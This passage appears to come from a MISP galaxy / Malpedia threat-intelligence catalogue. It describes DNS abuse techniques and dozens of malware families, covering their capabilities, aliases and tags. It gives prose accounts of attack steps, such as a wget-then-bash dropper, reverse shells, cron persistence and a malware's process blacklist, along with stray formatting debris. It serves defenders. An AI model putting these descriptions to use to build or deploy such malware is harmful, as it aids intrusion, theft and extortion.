**Malicious registration of (effective) second level domains**

For example, before attacking a victim, adversaries purchase or register domains from an ICANN-accredited registrar that can be used during targeting. See also CAPEC-630.

The tag is: \textit{misp-galaxy:first-dns=}'Malicious registration of (effective) second level domains''

<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Compromise of a non-DNS server to conduct abuse**

- Internet attack infrastructure is a broad category, and this covers any non-DNS server. Many compromised servers, such as web servers or mail servers, interact with the DNS or may be instrumental in conducting DNS abuse. For example, compromised mail servers are one technique that may be used to send phishing emails.

The tag is: \textit{misp-galaxy:first-dns=}'Compromise of a non-DNS server to conduct abuse''

**Spoofing or otherwise using unregistered domain names**

In a context where a domain name is expected (such as the From header in mail or a URL in a web page or message body), supplying a domain name not controlled by the attacker and that is not controlled by or registered to a legitimate registrant.
Spoofing of a registered domain

In a context where a domain name is expected (such as the From header in mail or a URL in a web page or message body), supplying a domain name not controlled by the attacker and that is in fact controlled by or registered to a legitimate registrant.

DNS tunneling

DNS tunneling - tunneling another protocol over DNS - The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal expected traffic.

AndroRAT

Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

The tag is: misp-galaxy:malpedia="AndroRAT"

AndroRAT is also known as:
Anubis (Android)

BleepingComputer found that Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app’s login screen to make victims think it’s a legitimate login form when in reality, inputted credentials are sent to the attackers.

In the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:

- Recording screen activity and sound from the microphone
- Implementing a SOCKS5 proxy for covert communication and package delivery
- Capturing screenshots
- Sending mass SMS messages from the device to specified recipients
- Retrieving contacts stored on the device
- Sending, reading, deleting, and blocking notifications for SMS messages received by the device
- Scanning the device for files of interest to exfiltrate
- Locking the device screen and displaying a persistent ransom note
- Submitting USSD code requests to query bank balances
- Capturing GPS data and pedometer statistics
- Implementing a keylogger to steal credentials
- Monitoring active apps to mimic and perform overlay attacks
- Stopping malicious functionality and removing the malware from the device

The tag is: misp-galaxy:malpedia="Anubis (Android)"

Anubis (Android) is also known as:

- BankBot
- android.bankbot
- android.bankspy

BianLian (Android) is also known as:

- Hydra

Table 1651. Table References
BrasDex

According to PCrisk, BraDex is a banking malware targeting Android operating systems. This malicious program aims to gain access to victims' bank accounts and make fraudulent transactions.

At the time of writing, BrasDex targets Brazilian banking applications exclusively. In previous BrasDex campaigns, it infiltrated devices under the guise of Android system related apps. Lately, this malware has been installed by a fake Brazilian Banco Santander banking application.

**Catelites**

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

CryCryptor

According to NHS Digital, CryCryptor is distributed via websites that spoof health organisations. At the time of publication these websites have affected the Canadian health service. CryCryptor cannot be obtained from the Google Play store, so devices restricted to only running apps from the store
are not affected.

When CryCryptor is run it encrypts common file types and saves a ransom note to every directory where files have been encrypted. Encrypted files have the extension '.enc' appended to the filenames. Additional files are saved containing the salt values used in each encryption and an initialisation vector. These files have the extensions '.enc.salt' and '.enc.iv' respectively.

When files have been encrypted, a notification is displayed directing users to open the ransom note.

FluBot

PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it’s C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.

The tag is: `misp-galaxy:malpedia="FluBot"

FluBot is also known as:

- Cabassous
- FakeChat

FluHorse

According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.

The tag is: misp-galaxy:malpedia="FluHorse"

**GPlayed**

Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.

The tag is: *misp-galaxy:malpedia*="GPlayed"

GPlayed is also known as:

**Gustuff**

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

PixPirate

According to PCrisk, The PixPirate is a dangerous Android banking Trojan that has the capability to carry out ATS (Automatic Transfer System) attacks. This allows threat actors to automatically transfer funds through the Pix Instant Payment platform, which numerous Brazilian banks use.

In addition to launching ATS attacks, PixPirate can intercept and delete SMS messages, prevent the uninstallation process, and carry out malvertising attacks.

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

Triout

Bitdefender described Triout as an Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

The tag is: `misp-galaxy:malpedia="Triout"`

Tunna

WebShell.

The tag is: `misp-galaxy:malpedia=“Tunna”`

Tunna is also known as:
TwoFace

According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on web servers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.

The secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.

The tag is: *misg-galaxy:malpedia=*"TwoFace"

TwoFace is also known as:

- HighShell
- HyperShell
- Minion
- SEASHARPEE
Unidentified ASP 001 (Webshell)

The tag is: `misp-galaxy:malpedia="Unidentified ASP 001 (Webshell)"

Unidentified ASP 001 (Webshell) is also known as:

**Abyss Locker**

Family based on HelloKitty Ransomware. Encryption algorithm changed from AES to ChaCha. Sample seems to be unpacked.

The tag is: `misp-galaxy:malpedia="Abyss Locker"`

Abyss Locker is also known as:

- elf.hellokitty

---

**ACBackdoor (ELF)**

A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: `misp-galaxy:malpedia="ACBackdoor (ELF)"`

ACBackdoor (ELF) is also known as:

---

**AcidRain**

A MIPS ELF binary with wiper functionality used against Viasat KA-SAT modems.

The tag is: `misp-galaxy:malpedia="AcidRain"`

AcidRain is also known as:
**AgeLocker**

The tag is: `misp-galaxy:malpedia="AgeLocker"`

**AirDropBot**

AirDropBot is used to create a DDoS botnet. It spreads as a worm, currently targeting Linksys routers. Backdoor and other bot functionality is present in this family. Development seems to be ongoing.
The tag is: *misp-galaxy:malpedia="AirDropBot"*

AirDropBot is also known as:

- CloudBot

**AnchorDNS**

Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.

The tag is: *misp-galaxy:malpedia="AnchorDNS"*

AnchorDNS is also known as:
### ANGRYREBEL

The tag is: `misp-galaxy:malpedia="ANGRYREBEL"`

ANGRYREBEL is also known as:

- Ghost RAT

### Avoslocker

The tag is: `misp-galaxy:malpedia="Avoslocker"`

Avoslocker is also known as:
AVrecon

AVrecon is a Linux-based Remote Access Trojan (RAT) targeting small-office/home-office (SOHO) routers and other ARM-embedded devices. The malware is distributed via exploitation of unpatched vulnerabilities or common misconfiguration of the targeted devices. Once deployed, AVrecon will collect some information about the infected device, open a session to pre-configured C&C server, and spawn a remote shell for command execution. It might also download additional arbitrary files and run them. The malware has recently been used in campaigns aimed at ad-fraud activities, password spraying and data exfiltration.

The tag is: *misp-galaxy:malpedia*="AVrecon"

AVrecon is also known as:

BioSet

The tag is: *misp-galaxy:malpedia*="BioSet"

BioSet is also known as:
Black Basta (ELF)

ESXi encrypting ransomware, using a combination of the stream cipher ChaCha20 and RSA.

The tag is: misp-galaxy:malpedia="Black Basta (ELF)"

Black Basta (ELF) is also known as:

BlackCat (ELF)

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

The tag is: misp-galaxy:malpedia="BlackCat (ELF)"

BlackCat (ELF) is also known as:

- ALPHV
- Noberus

**Break out the Box**

This is a pentesting tool and according to the author, "BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies."

It has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.

The tag is: `misp-galaxy:malpedia="Break out the Box"`

Break out the Box is also known as:

- BOtB

**CyclopsBlink**

According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard and ASUS devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.

The tag is: `misp-galaxy:malpedia="CyclopsBlink"`

CyclopsBlink is also known as:

*Table 1898. Table References*
Dacls (ELF)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: misp-galaxy:malpedia="Dacls (ELF)"

Dacls (ELF) is also known as:

HinataBot

HinataBot is a Go-based DDoS-focused botnet. It was observed in the first quarter of 2023 targeting HTTP and SSH endpoints leveraging old vulnerabilities and weak credentials. Amongst those infection vectors are exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers.

Horse Shell

Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor “Camaro Dragon”, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities: * Remote shell: Execution of arbitrary shell commands on the infected router * File transfer: Upload and download files to and from the infected router. * SOCKS tunneling: Relay communication between different clients.

Kaiten

According to netenrich, Kaiten is a Trojan horse that opens a back door on the compromised computer that allows it to perform other malicious activities. The trojan does not create any copies of itself. This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

The tag is: misp-galaxy:malpedia="Kaiten"

Mirai (ELF)

Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on “Hack Forums” many variants of the Mirai family appeared, infecting mostly home networks all around the world.

The tag is: misp-galaxy:malpedia="Mirai (ELF)"

MrBlack

MrBlack, first identified in May 2014 by Russian security firm Dr. Web, is a botnet that targets Linux OS and is designed to conduct distributed denial-of-service (DDoS) attacks. In May 2015, Incapsula clients suffered a large-scale DDoS attack which the company attributed to network traffic generated by tens of thousands of small office/home office (SOHO) routers infected with MrBlack. This massive botnet spans over 109 countries, especially in Thailand and Brazil.

MrBlack scans for and infects routers that have not had their default login credentials changed and that allow remote access to HTTP and SSH via port 80 and port 22, respectively. One of the most impacted router brands is Ubiquiti, a U.S.-based firm that provides bulk network hub solutions for internet service providers to lease to their customers. Once a vulnerable router is compromised and MrBlack is injected into the system, a remote server is contacted and system information from the device is transmitted. This allows the host server to receive commands in order to perform different types of DDoS attacks, download and execute files, and terminate processes.
The tag is: misp-galaxy:malpedia="MrBlack"

MrBlack is also known as:

- AESDDoS
- Dofloo

pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap
a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: misp-galaxy:malpedia="pupy (ELF)"

pupy (ELF) is also known as:

QNAPCrypt

The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:

1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.
2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.
3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.

The tag is: misp-galaxy:malpedia="QNAPCrypt"

QNAPCrypt is also known as:

Roboto

P2P Botnet discovered by Netlab360. The botnet infects linux servers via the Webmin RCE vulnerability (CVE-2019-15107) which allows attackers to run malicious code with root privileges and take over older Webmin versions. Based on the Netlabs360 analysis, the botnet serves mainly 7
functions: reverse shell, self-uninstall, gather process’ network information, gather Bot information, execute system commands, run encrypted files specified in URLs and four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.

Royal Ransom (ELF)

According to Trendmicro, Royal ransomware was first observed in September 2022, and the threat actors behind it are believed to be seasoned cybercriminals who used to be part of Conti Team One.

The tag is: `misp-galaxy:malpedia="Royal Ransom (ELF)"

Royal Ransom (ELF) is also known as:

- Royal
- Royal_unix
**Rshell**

The tag is: `misp-galaxy:malpedia="Rshell"`

Rshell is also known as:

**SALTWATER**

According to Mandiant, SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor functionality. SALTWATER can upload or download arbitrary files, execute commands, and has proxy and tunneling capabilities. The backdoor is implemented using hooks on the send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and amounts to five components, most of which are referred to as "Channels" within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.

The tag is: `misp-galaxy:malpedia="SALTWATER"`

SALTWATER is also known as:

**Satori**

Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).
The tag is: misp-galaxy:malpedia="Satori"

**SEASPY**

According to CISA, this malware is a persistent backdoor that masquerades as a legitimate Barracuda Networks service. The malware is designed to listen to commands received from the Threat Actor’s Command-and-Control through TCP packets. When executed, the malware uses libpcap sniffer to monitor traffic for a magic packet on TCP port 25 (SMTP) and TCP port 587. It checks the network packet captured for a hard-coded string. When the right sequence of packet is captured, it establishes a TCP reverse shell to the C2 server for further exploitation. This allows the TA to execute arbitrary commands on the compromised system. The malware is based on an open-
source backdoor program named "cd00r".

The tag is: misp-galaxy:malpedia="SEASPY"

**Sunless**

The tag is: `misp-galaxy:malpedia="Sunless"`

Sunless is also known as:
**sustes miner**

Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software.

The tag is: `misp-galaxy:malpedia="sustes miner"`

sustes miner is also known as:

AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process - log keystroke - take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to download the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: misp-galaxy:malpedia="AdWind"

AdWind is also known as:

- AlienSpy
- Frutas
- JBifrost
- JSocket
- Sockrat
- UNRECOM

**DynamicRAT**

DynamicRAT is a malware that is spread via email attachments and compromises the security of computer systems. Once running on a device, DynamicRAT establishes a persistent presence and gives attackers complete remote control. Its features include sensitive data exfiltration, hardware
control, remote action, and the ability to perform DDoS attacks. In addition, DynamicRAT uses evasion and persistence techniques to evade detection and analysis by security solutions.

The tag is: misp-galaxy:malpedia="DynamicRAT"

DynamicRAT is also known as:

**EpicSplit RAT**

EpicSplit RAT is a multiplatform Java RAT that is capable of running shell commands, downloading, uploading, and executing files, manipulating the file system, establishing persistence, taking screenshots, and manipulating keyboard and mouse events. EpicSplit is typically obfuscated with the commercial Allatori Obfuscator software. One unique feature of the malware is that TCP messages sent by EpicSplit RAT to its C2 are terminated with the string "packet" as a packet delimiter.

JavaDispCash

JavaDispCash is a piece of malware designed for ATMs. The compromise happens by using the JVM attach-API on the ATM’s local application and the goal is to remotely control its operation. The malware’s primary feature is the ability to dispense cash. The malware also spawns a local port (65413) listening for commands from the attacker which needs to be located in the same internal network.

Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

**Sorillus RAT**

Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool
started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (https://sorillus[.]com). The tool supposedly costs 49.99€ for lifetime access but is currently available at a discounted 19.99€. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as "Tapt", asserts that the tool is able to collect the following information from its target: - HardwareID - Username - Country - Language - Webcam - Headless - Operating system - Client Version

The tag is: misp-galaxy:malpedia="Sorillus RAT"

STRRAT

STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.

Since Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.

LNKR

The LNKR trojan is a malicious browser extension that will monitor the websites visited by the user, looking for pages with administrative privileges such as blog sites or web-based virtual learning environments. When the administrative user posts to the page, the infected extension will execute stored cross-site scripting attack and injects malicious JavaScript into the legitimate HTML of the page. This is used to redirect the second-party visitors of the site to both benign and malicious domains.

magecart

Magecart is a malware framework intended to steal credit card information from compromised eCommerce websites. Used in criminal activities, it's a sophisticated implant built on top of relays, command and controls and anonymizers used to steal eCommerce customers’ credit card information. The first stage is typically implemented in Javascript included into a compromised checkout page. It copies data from “input fields” and send them to a relay which collects credit cards coming from a subset of compromised eCommercees and forwards them to Command and Control servers.
The tag is: misp-galaxy:malpedia="magecart"

Ostap

Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:

AgentSimulator.exe  anti-virus.EXE  BehaviorDumper  BennyDB.exe  ctfmon.exe  fakepos_bin
If a blacklisted process is found, the malware terminates.

Ostap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.

SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

**Valak**

According to PCrisk, Valak is malicious software that downloads JScript files and executes them. What happens next depends on the actions performed by the executed JScript files. It is very likely that cyber criminals behind Valak attempt to use this malware to cause chain infections (i.e., using Valak to distribute other malware).

Research shows that Valak is distributed through spam campaigns, however, in some cases, it infiltrates systems when they are already infected with malicious program such as Ursnif (also known as Gozi).

CloudMensis is also known as:

Table 2185. Table References
CoinThief

CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component.

It was spreading in early 2014 from several different sources: - on Github (where the trojanized compiled binary didn’t match the displayed source code), o - on popular and trusted download sites like CNET’s Download.com or MacUpdate.com, and - as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.

The patcher’s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker.

The browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.

The backdoor enabled the attacker to take full control over the victim’s computer: - collect information about the infected computer - execute arbitrary shell scripts on the target computer - upload an arbitrary file from the victim’s hard drive to a remote server - update itself to a newer version

### Dacls (OS X)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: `misp-galaxy:malpedia="Dacls (OS X)"`

Eleanor

Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.

The Tor service transforms the victim's computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address.

The Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.

The web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:
• Managing files
• Listing processes
• Connecting to various database management systems such as MySQL or SQLite
• Connecting via bind/reverse shell
• Executing shell command
• Capturing and browsing images and videos from the victim’s webcam
• Sending emails with an attachment

EvilQuest

According to PcRisk, EvilQuest (also known as ThiefQuest) is like many other malicious programs of this type - it encrypts files and creates a ransom message. In most cases, this type of malware modifies the names of encrypted files by appending certain extensions, however, this ransomware leaves them unchanged.

It drops the "READ_ME_NOW.txt" in each folder that contains encrypted data and displays another ransom message in a pop-up window. Additionally, this malware is capable of detecting if certain files are stored on the computer, operates as a keylogger, and receives commands from a Command & Control server.

The tag is: misp-galaxy:malpedia="EvilQuest"

EvilQuest is also known as:

- ThiefQuest

FULLHOUSE

Fullhouse (AKA FULLHOUSE.DOORED) is a custom backdoor used by subsets of the North Korean Lazarus Group. Fullhouse is written in C/C++ and includes the capabilities of a tunneler and backdoor commands support such as shell command execution, file transfer, file management, and process injection. C2 communications occur via HTTP and require configuration through the command line or a configuration file.

Gmera

According to PCrisk, GMERA (also known as Kassi trojan) is malicious software that disguises itself as Stockfolio, a legitimate trading app created for Mac users.

Research shows that there are two variants of this malware, one detected as Trojan.MacOS.GMERA.A and the other as Trojan.MacOS.GMERA.B. Cyber criminals proliferate GMERA to steal various information and upload it to a website under their control. To avoid damage caused by this malware, remove GMERA immediately.

The tag is: misp-galaxy:malpedia="Gmera"

**iMuler**

The threat was a multi-stage malware displaying a decoy that appeared to the victim as a Chinese language article on the long-running dispute over the Diaoyu Islands; an array of erotic pictures; or images of Tibetan organisations. It consisted of two stages: Revir was the dropper/downloader and Imuler was the backdoor capable of the following operations:

- capture screenshots
- exfiltrate files to a remote computer
- send various information about the infected computer
- extract ZIP archive
- download files from a remote computer and/or the Internet
- run executable files

The tag is: `misp-galaxy:malpedia="iMuler"`

**Janicab (OS X)**

According to Patrick Wardle, this malware persists a python script as a cron job. Steps: 1. Python installer first saves any existing cron jobs into a temporary file named '/tmp/dump'. 2. Appends its new job to this file. 3. Once the new cron job has been added 'python (~/.t/runner.pyc)' runs every minute.

OceanLotus

According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.

The OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious Word document (it is likely that threat authors distribute the document via malspam emails).

Patcher

This crypto-ransomware for macOS was caught spreading via BitTorrent distribution sites in February 2017, masquerading as 'Patcher', an application used for pirating popular software like Adobe Premiere Pro or Microsoft Office for Mac.

The downloaded torrent contained an application bundle in the form of a single zip file. After launching the fake application, the main window of the fake cracking tool was displayed.

The file encryption process was launched after the misguided victim clicked 'Start'. Once executed, the ransomware generated a random 25-character string and set it as the key for RC4 encryption of all of the user's files. It then demanded ransom in Bitcoin, as instructed in the 'README!' .txt file copied all over the user's directories.

Despite the instructions being quite thorough, Patcher lacked the functionality to communicate with any C&C server, and therefore made it impossible for its operators to decrypt affected files. The randomly generated encryption key was also too long to be guessed via a brute-force attack, leaving the encrypted data unrecoverable in a reasonable amount of time.

The tag is: misp-galaxy:malpedia="Patcher"

Patcher is also known as:

- FileCoder
- Findzip

Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

PowerHarbor

PowerHarbor is a modular PowerShell-based malware that consists of various modules. The primary module maintains constant communication with the C2 server, executing and deleting additional modules received from it. Currently, the communication with the C2 server is encrypted using RSA encryption and hardcoded key data. Moreover, the main module incorporates virtual machine (VM) detection capabilities. The StealData module employs the Invoke-Stealer function as its core, enabling the theft of system information, browser-stored credentials, cryptocurrency wallet details, and credentials for various applications like Telegram, FileZilla, and WinSCP.

AndroxGh0st

According to Laceworks, this is a SMTP cracker, which is primarily intended to scan for and parse Laravel application secrets from exposed .env files. Note: Laravel is an open source PHP framework and the Laravel .env file is often targeted for its various configuration data including AWS, SendGrid and Twilio. AndroxGh0st has multiple features to enable SMTP abuse including scanning, exploitation of exposed creds and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector.

The tag is: misp-galaxy:malpedia="AndroxGh0st"

AndroxGh0st is also known as:

• Androx
• AndroxGhost

**PY#RATION**

